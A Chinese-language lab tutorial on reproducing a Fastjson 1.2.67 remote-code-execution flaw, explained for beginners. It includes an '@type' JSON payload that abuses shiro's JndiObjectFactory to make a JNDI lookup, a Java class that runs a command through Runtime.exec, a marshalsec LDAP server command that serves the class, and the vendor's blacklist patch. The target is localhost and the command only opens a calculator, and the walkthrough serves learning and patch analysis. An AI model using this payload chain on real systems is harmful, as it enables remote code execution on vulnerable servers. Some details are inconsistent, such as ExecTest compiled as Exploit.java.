初识Fastjson漏洞（环境搭建及漏洞复现）

目前网上的资源整理不是针对入门玩家，都需要一定的java漏洞调试基础，本文从一个简单的FastJson 漏洞开始，搭建漏洞环境，分析漏洞成因，使用条件等。从入门者的角度看懂并复现漏洞触发，拥有属于自己的一套漏洞调试环境。

0x01 Fastjson简介

Fastjson 是Alibaba的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。

https://github.com/alibaba/fastjson

0x02 环境搭建

JDK 版本：8u112

fastjson: 1.2.67

shiro: 1.5.1

slf4j-nop: 1.7.25

0x1 添加依赖包

为了快速添加项目所需要的jar包，创建Maven项目如下

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>groupId</groupId>
    <artifactId>Fastjson1.2.66_RCE</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.67</version>
        </dependency>
        <dependency>
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-core</artifactId>
        <version>1.5.1</version>
        </dependency>
        <dependency>
        <groupId>org.slf4j</groupId>
        <artifactId>slf4j-simple</artifactId>
        <version>1.7.25</version>
        <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.25</version>
        </dependency>
    </dependencies>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.encoding>UTF-8</maven.compiler.encoding>
        <java.version>1.8</java.version>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>
</project>

之后右键pom.xml 点击下载source和document

0x2 选择JDK版本

该漏洞选择JDK 8u112

0x3 编写漏洞代码

在main文件夹中添加漏洞代码,核心在于调用了fastjson.JSON的parseObject 函数

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1389/Exploit\"}";
        try {
            JSON.parseObject(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x03 漏洞原理

0x1 FastJson 类解析

Fastjson接口简单易用，广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象，parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象，即 JSON.toJSON()。所以进行反序列化时的细节区别在于，parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法，而 parseObject() 由于多执行了 JSON.toJSON(obj)，所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

fastjson.java

package com.teddy.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class fastjson {
    public String name;
    public String age;
    public fastjson() throws IOException {
    }
    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }
    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }
    public void setAge(String test) {
        System.out.println("age setter called");
        this.age = test;
    }
    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }
    public static void main(String[] args) {
        Object obj = JSON.parse("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
        System.out.println(obj);
        System.out.println("------------");
        Object obj2 = JSON.parseObject("{\"@type\":\"com.teddy.fastjson.fastjson\",\"name\":\"test name\", \"age\":\"test age\"}");
        System.out.println(obj2);
    }
}

result

name setter called
age setter called
com.teddy.fastjson.fastjson@66480dd7
------------
name setter called
age setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}

由结果可以看出调用parseObject 函数会调用getattr方法。

0x2 漏洞调用链分析

调用栈分析

1. parseObject 对象类型转换

这一步的操作是将obj对应的对象类型转化为json格式，这势必要方位getattr 对象方法，从而触发漏洞。

2. 反射调用

通过invoke方法，调用getinstance方法

3. 触发ldap

在JndiObjectFactory getinstance 中调用了this.lookup(resourceName)

0x3 JNDI 注入

Java Name Directory Interface，Java命名和目录接口（JNDI）是一种Java API，类似于一个索引中心，它允许客户端通过name发现和查找数据和对象。JNDI包括Naming Service和Directory Service，通过名称来寻找数据和对象的API，也称为一种绑定。JNDI可访问的现有的目录及服务有：JDBC、LDAP、RMI、DNS、NIS、CORBA。

其应用场景比如：动态加载数据库配置文件，从而保持数据库代码不变动等。

注入方法：

JNDI Reference 配合 RMI

JNDI Reference 配合 LDAP

RMI格式:ctx.lookup("rmi://localhost:9999/refObj");LDAP格式ctx.lookup("ldap://localhost:9999/refObj");

若lookup函数中的参数攻击者可控，便可以指向攻击者的服务器，即可实现JNDI注入实现任意代码执行。

1 RMI

RMI（Remote Method Invocation，远程方法调用）。远程方法调用是分布式编程中的一个基本思想，实现远程方法调用的技术有CORBA、WebService等（这两种独立于编程语言）。RMI则是专门为JAVA设计，依赖JRMP通讯协议。

2 LDAP

LDAP（Lightweight Directory Access Protocol ，轻型目录访问协议）是一种目录服务协议，运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，能进行查询、浏览和搜索，以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询，它“读”性能很强，但“写”性能较差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。

该漏洞简单的将利用org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务，获取并执行自己编译的Exploit.class文件。

0x04 漏洞利用

0x1 编译Java 利用代码

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
    public ExecTest() throws IOException,InterruptedException{
        String cmd="/Applications/Calculator.app/Contents/MacOS/Calculator";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }
    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

命令行编译class文件

/Library/Java/JavaVirtualMachines/jdk1.8.0_112.jdk/Contents/Home/bin/javac Exploit.java

0x2 开启 LDAP 服务

使用marshalsec启动一个ladp服务器 ，下载地址为

https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit

0x3 开启HTTP Web 服务

将编译好的Exploit.class 放在web目录下并开启服务

0x05 漏洞补丁

这个链接梳理了fastjson hash对应的jar，可以方便的寻找已经被过滤的jar包

https://github.com/LeadroyaL/fastjson-blacklist

该漏洞采用黑名单的方式进行修补，在1.2.68中把org.apache.shiro.jndi 给ban掉了

对应的具体代码如下图所示，在   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) 函数中有对应处理

黑名单hash生成算法，大概思路是将每一位都异或进行异或叠加。

if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {

long hash = h3;

for (int i = 3; i < className.length(); ++i) {

hash ^= className.charAt(i);

hash *= PRIME;

if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {

clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

if (clazz != null) {

return clazz;

}

}

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {

continue;

}

throw new JSONException("autoType is not support. " + typeName);

}

}

}

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